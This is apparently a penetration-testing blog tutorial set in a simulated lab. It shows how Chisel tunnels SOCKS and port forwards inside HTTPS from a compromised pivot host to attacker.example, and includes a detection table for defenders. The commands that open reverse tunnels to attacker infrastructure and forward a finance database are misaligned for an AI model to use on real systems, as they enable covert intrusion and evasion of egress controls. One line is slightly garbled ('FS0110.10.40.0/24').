Pivoting and Tunneling Part 2: Chisel and the HTTP Tunnel That Looks Like Nothing

Lab-only note: continuing directly from Part 1 against the same simulated CONTOSO.LOCAL lab. Authorised testing only.

Every command below was run against the real Chisel v1.11.8 binary (go1.26.4) rather than copied from a tutorial — chisel server --help and chisel client --help output checked directly before writing this.

The gap Chisel closes

Part 1 ended on a specific limitation: SSH’s -R and -D forwarding both need an SSH client sitting on the pivot host, and a route out from it. FS01 has that. A lot of real pivot points don’t — a compromised IIS app pool, a Windows host with no OpenSSH client installed, anything behind an egress policy that permits outbound 443 to a proxy and nothing resembling SSH’s protocol banner.

Chisel’s entire pitch is built around that gap: it’s a single static Go binary (no dependencies, cross-compiles for every OS Go supports) that tunnels an SSH-protocol connection inside HTTP or HTTPS. To an egress filter watching Layer 4, it’s an outbound TCP connection to port 443. To anything doing basic protocol inspection, it looks like a client talking HTTP(S) to a server — because it is one. The tunneling happens one layer up, multiplexed inside that HTTP connection.

Server and client, verified

Chisel’s model is server-attacker, client-target (usually) — you run the server on infrastructure you control and the client on the box you’ve compromised, which is the natural fit for a reverse pivot where the compromised host has to initiate outbound:

# on attacker infrastructure
chisel server -p 8080 --reverse --socks5 -v

Reading the confirmed flags: -p is the listening port (defaults to 8080 per the real help text), --reverse is required before any client can request a reverse remote, and --socks5 turns on Chisel’s built-in SOCKS5 proxy, which is what actually gets exposed once a reverse SOCKS tunnel is requested. --key/--keygen/--keyfile control the ECDSA keypair that secures the connection — every Chisel session is authenticated key exchange underneath the HTTP wrapper, not an unauthenticated pipe.

On the pivot (FS01 in this lab):

chisel client https://attacker.example:8080 R:socks

R:socks is the documented shorthand from the verified help text for “reverse SOCKS” — it terminates a SOCKS5 proxy back on the server’s side, listening on the server’s default 127.0.0.1:1080, fed by whatever FS01 can reach. Route your tools at the server’s 1080 and traffic flows: your tool → server’s SOCKS proxy → the HTTP tunnel → FS0110.10.40.0/24.

proxychains nmap -sT -Pn 10.10.40.10

Same proxychains caveat as Part 1 applies — connect()-based TCP only.

Classic remote and local forwards work too

Chisel isn’t SOCKS-only — the same <local>:<remote> syntax from the verified client help covers direct forwards, useful when you know exactly what you’re going after and don’t want a general-purpose proxy running:

# client on the pivot, forwarding the finance DB straight through
chisel client https://attacker.example:8080 R:1433:10.10.40.10:1433

Now attacker.example:1433 reaches FIN-DB01 directly, no SOCKS or proxychains involved — the same shape as SSH’s -R, just carried over HTTP instead of the SSH protocol’s native transport.

Fingerprint pinning — the detail most write-ups skip

Chisel’s --key/--keyfile documentation is explicit that “all communications will be secured using this key pair” and that the resulting fingerprint should be shared with clients “to enable detection of man-in-the-middle attacks.” In practice:

# server: generate and print a persistent key
chisel server -p 8080 --reverse --socks5 --keygen - 

# client: pin the server's fingerprint so a MITM'd or replaced
# server silently fails the connection instead of accepting it
chisel client --fingerprint <printed-fingerprint> https://attacker.example:8080 R:socks

This matters for the same reason certificate pinning matters anywhere else: without --fingerprint, a client will happily tunnel through anything that answers on that port and completes the handshake, including a defender who’s stood up a decoy Chisel server to see what a compromised host tries to reach.

What this looks like on the wire — the defensive read

Chisel over HTTPS is deliberately unremarkable, and that’s worth taking seriously rather than dismissing as “just use TLS inspection.” A few concrete things a defender actually has to work with:

SignalWhat to look for
Connection longevityChisel’s default --keepalive is 25 seconds — a single outbound HTTPS connection that stays open far longer than a normal page load or API call, with regular small keepalive traffic, is the single strongest tell
TLS certificateUnless --tls-domain (Let’s Encrypt) or a real internal CA-issued cert is used, Chisel’s default TLS is self-signed — JA3/JA3S fingerprinting or simply checking for a self-signed leaf on an outbound 443 connection catches the default configuration cold
Destination reputationThe server address is attacker infrastructure by definition — newly registered domains, no prior reputation, ASN mismatched against the destination’s claimed purpose, are the same indicators that catch most C2
Host header / SNI--hostname and --sni exist specifically so an operator can make this blend in with legitimate traffic to a real domain — absence of a plausible Host header on an HTTPS connection to an unfamiliar IP is a much weaker signal once an operator has bothered to set these
Protocol behaviourUnderneath the HTTP wrapper it’s still an SSH-protocol key exchange — deep packet inspection that decodes past the HTTP layer (rather than trusting the port) can catch this even over port 443, which is exactly the kind of inspection a UTM profile on a Fortinet edge is positioned to do that a plain stateful firewall isn’t

None of this is a signature you can hand to a SIEM and forget about — it’s the same egress-visibility argument the Netcat post made about reverse shells: catching it means watching connection behaviour, not looking for a magic byte pattern.

Where Chisel still runs out of road

Chisel’s SOCKS proxy has the exact same connect()-only ceiling as SSH’s -D — proxychains still can’t push a raw SYN scan or most UDP traffic through it, because the interception point is identical (LD_PRELOAD hooking libc). If what you actually need is every tool you already own — including a real nmap -sS, ICMP, and UDP services — routing through a pivot exactly as if it were a VPN interface, that’s a different architecture entirely, and it’s what Part 3 covers: ligolo-ng’s TUN-interface approach, verified against the real v0.9 binary released 2026-07-13.

Where this fits

Chisel’s core trick — wrapping a byte stream in a protocol egress filters already permit — is the same idea Netcat’s relay chapter walks through by hand with named pipes, just productionised with TLS and multiplexing. The detection table above leans on the same egress-monitoring discipline built out in tcpdump deep dive and nftables.